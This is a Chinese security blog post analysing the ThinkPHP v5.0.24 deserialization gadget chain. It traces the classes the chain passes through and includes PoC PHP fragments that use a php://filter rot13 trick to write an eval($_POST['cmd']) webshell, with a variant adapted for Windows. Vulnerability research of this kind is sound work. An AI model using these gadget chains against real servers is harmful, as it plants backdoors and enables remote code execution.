thinkphp v5.0.24 反序列化利用链分析

0x00 前言

前几天分析了 thinkphp v5.1.37 反序列化利用链, 今天继续来分析thinkphp v5.0.24 反序列化利用链。

0x01 环境搭建

这次直接从官网下载 ,下载地址:http://www.thinkphp.cn/donate/download/id/1279.html

0x02 分析
0x 2.1 先找触发__call() 方法的地方

前面和 thinkphp v5.1.37 一样,都是think\process\pipes\Windows 的__destruct() 里面调用 removeFiles() ,然后赋值$filename 为对象,利用file_exists() 函数作为跳板,执行这个对象的__toString() 方法,然后这个对象依旧是选择 \think\Model 对象,然后调用toJson() ,然后是toArray()。

进入到toArray() 函数就和 v5.1.37不同了。
触发__call() 方法的是下面这块,现在就来看怎么才能触发一个__call()
在这里插入图片描述

0x2.1.1 $value 的赋值过程:
foreach ($this->append as $key => $name) {
}

$relation = Loader::parseName($name, 1, false);

$modelRelation = $this->$relation(); 
$value = $this->getRelationData($modelRelation);

很明显 $name 是可控的,进入 Loader::parseName() 方法:

在这里插入图片描述
注释中也说得很清楚,该方法是用来转化字符串风格的。那么$name可控,$relation 也就是可控的。

接下来调用

$modelRelation = $this->$relation(); 

这行代码用通俗的话来讲就是 把$modelRelation 赋值为 \think\Model 类任意方法的返回结果

这里有一步很妙,给$name 赋值 为 ‘getError’ ,那么$relation() 也是’getError’ , 我们看看 \think\Model 中getError() 的定义:
在这里插入图片描述
正好是返回 $this->error() , 所以$modelRelation 也就可控了。

再跟进 $this->getRelationData :
在这里插入图片描述

很明显,要求传入的参数需要一个Relation 对象,那么$modelRelation 就要求是一个Relation 对象。继续,那么我们进入第一个 if 的话,函数就直接返回 $this->parent。接下来看怎么满足这个 if 条件判断:

跟进isSelfRelation(),发现返回值可控:
在这里插入图片描述

跟进getModel():
在这里插入图片描述
再这个跟进 getModel():
在这里插入图片描述
很明显了,$modelRelation->getModel() 的值也是可控的,那么这里只需要:

\think\Model \think\Model 类中: query =new think\db\Query() ,
然后 \think\db\Query 类中: model = \think\Model 类中的 parent 就行了,这样就可以满足if 的判断条件了

到这里为止,$value 值就大致可以知道怎么来构造了。
接着看下来:
在这里插入图片描述
还需要满足这个if 的判断条件。

0x 2.1.2 $attr 的赋值过程

在这里插入图片描述
需要$modelRelations 中 含有 getBindAttr() 方法,我们在 Relation 类中搜索 getBindAttr() 方法没有找到,所以需要去子类找,寻找继承了Relation类并且存在getBindAttr() 方法的类。

在这里插入图片描述
正好只有一个 OneToOne
在这里插入图片描述
看他的getBindAttr() 函数定义:
在这里插入图片描述
直接返回$this->bindAttr,可控。
在这里插入图片描述

那么就简单了,我们赋值 $this->bindAttr 为 [‘a’=>‘自定义任意值’] 那么$attr 的值就是这个自定义值了。

我们再看OneToOne 的定义:
在这里插入图片描述
又是一个抽象类,所以我们再找继承了OneToOne 的类,比如这个HasOne类:
在这里插入图片描述
到这里这一部分的poc 就可以写出来了

<?php
namespace think\model;
use think\db\Query;
abstract class Relation
{
    protected $selfRelation = 0;

}
namespace think\model\relation;
use think\model\Relation;
use think\db\Query;
abstract class OneToOne extends Relation{
    protected $bindAttr;
    protected $query  ;
    function __construct(){
        $this->bindAttr = ['a'=>'args'];  //args 自定义
        $this->query = new Query();
    }
}
use think\model\relation\OneToOne;
class HasOne extends OneToOne{
}





namespace think\db;
use think\console\Output; //-------------
class Query{
    protected $model;
    function __construct(){
        //--------------
        $this->model = new [Object]();   //这里就是要new 的对象和下面parent 中的相同,其实使 Output类
    }
}




namespace think;
use think\model\relation\HasOne;
use think\console\Output;  //-----------
abstract class Model
{
    protected $append = ['getError'];
    protected $error ;
    protected $parent;
    
    function __construct(){
        $this->error = new HasOne();
        //--------------
        $this->parent = new [Object]();  //这里就是要new 的对象和上面的model 中的相同,其实使Output类
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
0x 2.2 寻找__call() 方法,写任意文件

在先前的 ThinkPHP5.1.X 反序列化链中,都是在调用 think\Model:toArray() 时触发 think\Request:__call() 。但是在 ThinkPHP5.0.24 中的 think\Request:__call() 写法与 ThinkPHP5.1.X 的不太一样:

5.1.x:
5.1.x
5.0.24:
在这里插入图片描述
在 5.0.24 中,call_user_func_array() 的第一个参数变成了静态成员变量,我们知道序列化的时候,对象中静态成员变量和常量是无法被序列化的,所以在 5.0.24 中 5.1.37 中的Request 链就用不了了。我们需要寻找其他的链。

我们把目光放向 think\console\Output 这个类中:
在这里插入图片描述

查看 Output 类中的 block() 函数:
在这里插入图片描述
跟进writeln():
在这里插入图片描述
再跟进write():
在这里插入图片描述
溯源 $message ,可以知道$message 是可控的,由我们call_user_function 中的 $args 控制

这里$this->handle 也是可控的,我们全局搜索 function write(),并且参数是三个的类 ,参数小于三个的类(php中对于调用函数时的实参大于形参是可以的,但是实参数小于形参是不行的)

定位到 think\session\driver\Memcache 中:
在这里插入图片描述

$this->handler 是可控的,我们全局搜索function set() ,定位到think\cache\driver\File 类中
在这里插入图片描述

这里有个file_get_contents() 函数来写文件,我们看$filename 的赋值过程,跟进getCacheKey() 函数:
在这里插入图片描述

可以看到 返回值$filename 也是部分可控的。
但是问题就在于这个 $data , 从$data 的赋值过程,我们知道$data 来源于$value 参数,查看前面的调用过程,可以知道在前面Output 类中,$value 的值是被写死的,为true:
在这里插入图片描述
但是不急,我们接着往下看,
在这里插入图片描述
跟进 setTagItem()函数:
在这里插入图片描述
这里进入这个else 的时候会把$value 赋值为传进来的$name ,然后再次调用 set() 函数,仔细看传进来的$name ,不就是$filename 吗,所以这里会把$filename 变成 $data ,然后再次调用set() 函数 file_put_contents() 一次。而第二次调用file_put_contents() 的 filename 是由setTageItem() 中 $key 经过变化而来的,而这里面的$key 很明显也是可控的。

也就是说第二次file_put_contents() 的时候,$filename和$data 都是可控的,这就造成了可以写 webshell。

这里还有个问题就是:
在这里插入图片描述
$data中有exit(); 所以我们需要绕过这个exit() ,这样我们的webshell 才能生效。这里就用到php 的伪协议了,看代码:
在这里插入图片描述
也就是说,如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=123.php的话,php会把文件内容进行rot13编码,然后写入123.php 文件。

这样,原本的exit() 就会被rot13编码,变成rkvg() ,从而实现了绕过。

到这里就可以写出这一部分poc了:

<?php
namespace think\console;
use think\session\driver\Memcache;
class Output{
    protected $styles = ['getAttr'];
    protected $handle;
    function __construct(){
        $this->handle = new Memcache();
    }
}

namespace think\cache;
abstract class Driver
{
 
}
namespace think\session\driver;
use think\cache\driver\File;
use think\cache\Driver;
class Memcache extends Driver{
    protected $handler;
    function __construct(){
        $this->handler = new File();
    }
}

namespace think\cache\driver;
class File{
        protected $options = [
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_CBFG[pzq]);?>',
        'cache_subdir'   => '',
        'data_compress' => '',
    ];
        protected $tag = '123';
}


结合在一起就可以写出poc ,但是这个 payload 只能在 linux 下面使用,因为windows 不能创建带有特殊字符的文件。

0x04 解决windows 不能使用的问题
0x 4.1 代码层面分析原因

造成windows 不能写文件的原因是含有 ‘?‘和’<>’ 关键字。
在这里插入图片描述

从代码层面,造成windows 不能写文件的原因是我们之前的poc 是在这一块赋值,

$this->option['path'] = 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pz
q]);?>'  ; 

在这里插入图片描述
而file_put_content() 写文件又必须先调用 getCacheKey() 函数:
在这里插入图片描述
所以就导致每次写文件,文件名都会包含特殊字符 ‘?’,’<’ 和 '>’。

所以我们需要看其他可控的地方,不把特殊字符在 option[‘path’] 中赋值。把特殊字符放到其他地方来赋值。

0x 4.2 寻找其他地方赋值文件名

参考: https://xz.aliyun.com/t/7310

参考文章的方法,当程序走到Memcache.php 中的
在这里插入图片描述
的时候,我们不直接赋值 $this->handler 为 File 对象,而是绕一下,赋值为 Memcached 对象,进入Memcached 中的 set 方法:
在这里插入图片描述

然后在 114 行的时候 ,赋值 $this->handler 为 File 对象,创建一次文件,

我们知道 传进来的 $name 是可控的,可以通过控制 $this->config[‘session_name’] 来控制,我们可以赋值 $this->config[‘session_name’] = ‘<?cuc pzq();?>’ ;

$this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);

查看112行的getCacheKey() :
在这里插入图片描述
在114行,程序进入 File 中的 set() 函数,由于我们 这次并没有像之前那样直接赋值 File 中的 options[‘path’] 为 ‘php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>’ ,而且传入的所以文件名也就不包含特殊字符,经过 File 中 getCacheKey () 处理就直接返回md5($name).php
在这里插入图片描述

这样就解决了文件名中含有特殊字符的问题。

接着程序走,关键点在115行,还会调用一次setTagItem
在这里插入图片描述
在这里插入图片描述

这里会把$key 传入setTagItem() 中,而$key 又是可控的.

$key = $this->options['prefix'] + $name

而 $name 又正好是从这里传进来的
在这里插入图片描述

这就成功导致 我们控制 $this->configp[’'session_name] 为 ‘<?cuc riny('pzq');?>’,经过 rot 13 转化 就会使<?php eval('cmd');?>写入文件,其中文件名为:

md5('tag_'.md5($this->tag)).'.php'

所以最后改进的这部分 poc 为 :

<?php
namespace think\cache\driver;
use think\cache\driver\File;
use think\cache\Driver;
class Memcached extends Driver{
    protected $handler;
    protected $tag;
    function __construct(){
        $this->handler = new File(); 
        $this->tag = 'ke';
        //shell名 md5("tag_".md5('ke')).php
    }
}

namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache{
 protected $handler = null; 
 protected $config  = [
    'expire'       => 0, 
        'session_name' => '<?cuc riny($_CBFG["pzq"]);?>', // 在这里赋值一句话
    ];
     public function __construct()
    {
        $this->handler= new Memcached(); //不直接赋值为File() ,而是赋值为 Memcached 绕一下
    }
}


namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
    //下面的这些键名即使键值为'',也要加上,不然会出现index错误
    protected $options = [
        'expire'  =>'',
        'prefix'        => '',
        'cache_subdir' =>'' ,
        'path'         => 'php://filter/write=string.rot13/resource=',  //赋值去掉之前的<>和?
        'data_compress' => '',   
    ];
    protected $tag = '123';
    protected $expire = 0 ;

}


0x 05 payload验证

依旧先在index.php 构造unserialize() 来触发漏洞。

生成三个文件,其中含有shell的文件名为

md5('tag_'.md5(‘ke’)).'.php'

在这里插入图片描述
成功命令执行:
在这里插入图片描述

0x06 遇到的一些坑点

(1) pivot 继承Model后,$parent 由Model 中 的 pretocted 变成了 public ,这点在写 poc 的时候太坑了。在这里插入图片描述
在这里插入图片描述

(2) 最后输出的payload 用urlencode() 加密一遍,否则遇到里面含有’+'的时候,直接post 过去,会被解析为 空格。

(3)三重继承的时候,最顶端的类的 __construct() 不会自动调用?!!!
比如这里 不能在 Relation 类中用__construct() 来给 query 赋值,必须放到OneToOne 中 或者 HasOne 中。
在这里插入图片描述
后来找到原因了,其实就是覆盖的原因,OneToOne 中的__construct() 覆盖了Relation 中的 __construct()。
而且这里”自动调最顶端的类的构造函数“这个词用得不对,trait 就相当于 直接copy ,所以其实是调用use 这个trait的类的构造函数。而对于class 而言,new 子类对象的时候,不会自动调用父类__construct ,需要显示调用父类的__construct() 。

0x07 后记

相比thikphp v5.1.37 那个利用链,5.0.24的这个利用链复杂了很多,特别是原来的poc 在windows 上由于特殊字符 '<>?'的原因,不能直接使用,还需要改进原来的poc 才行。

还有 file_put_content() 用伪协议 绕过 <?php exit();?>这点 确实牛逼。

还有网上有些说链子比较鸡肋,其实不然,如果在二次开发中遇到 反序列化漏洞的化,可以利用这个链子直接写文件。而且再加上有 phar 协议,不需要代码中有 unserialize() 就可以反序列化,危害还是挺大的。

参考文章:
https://www.anquanke.com/post/id/196364#h2-6
https://xz.aliyun.com/t/7082
https://xz.aliyun.com/t/7310

  • 7
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值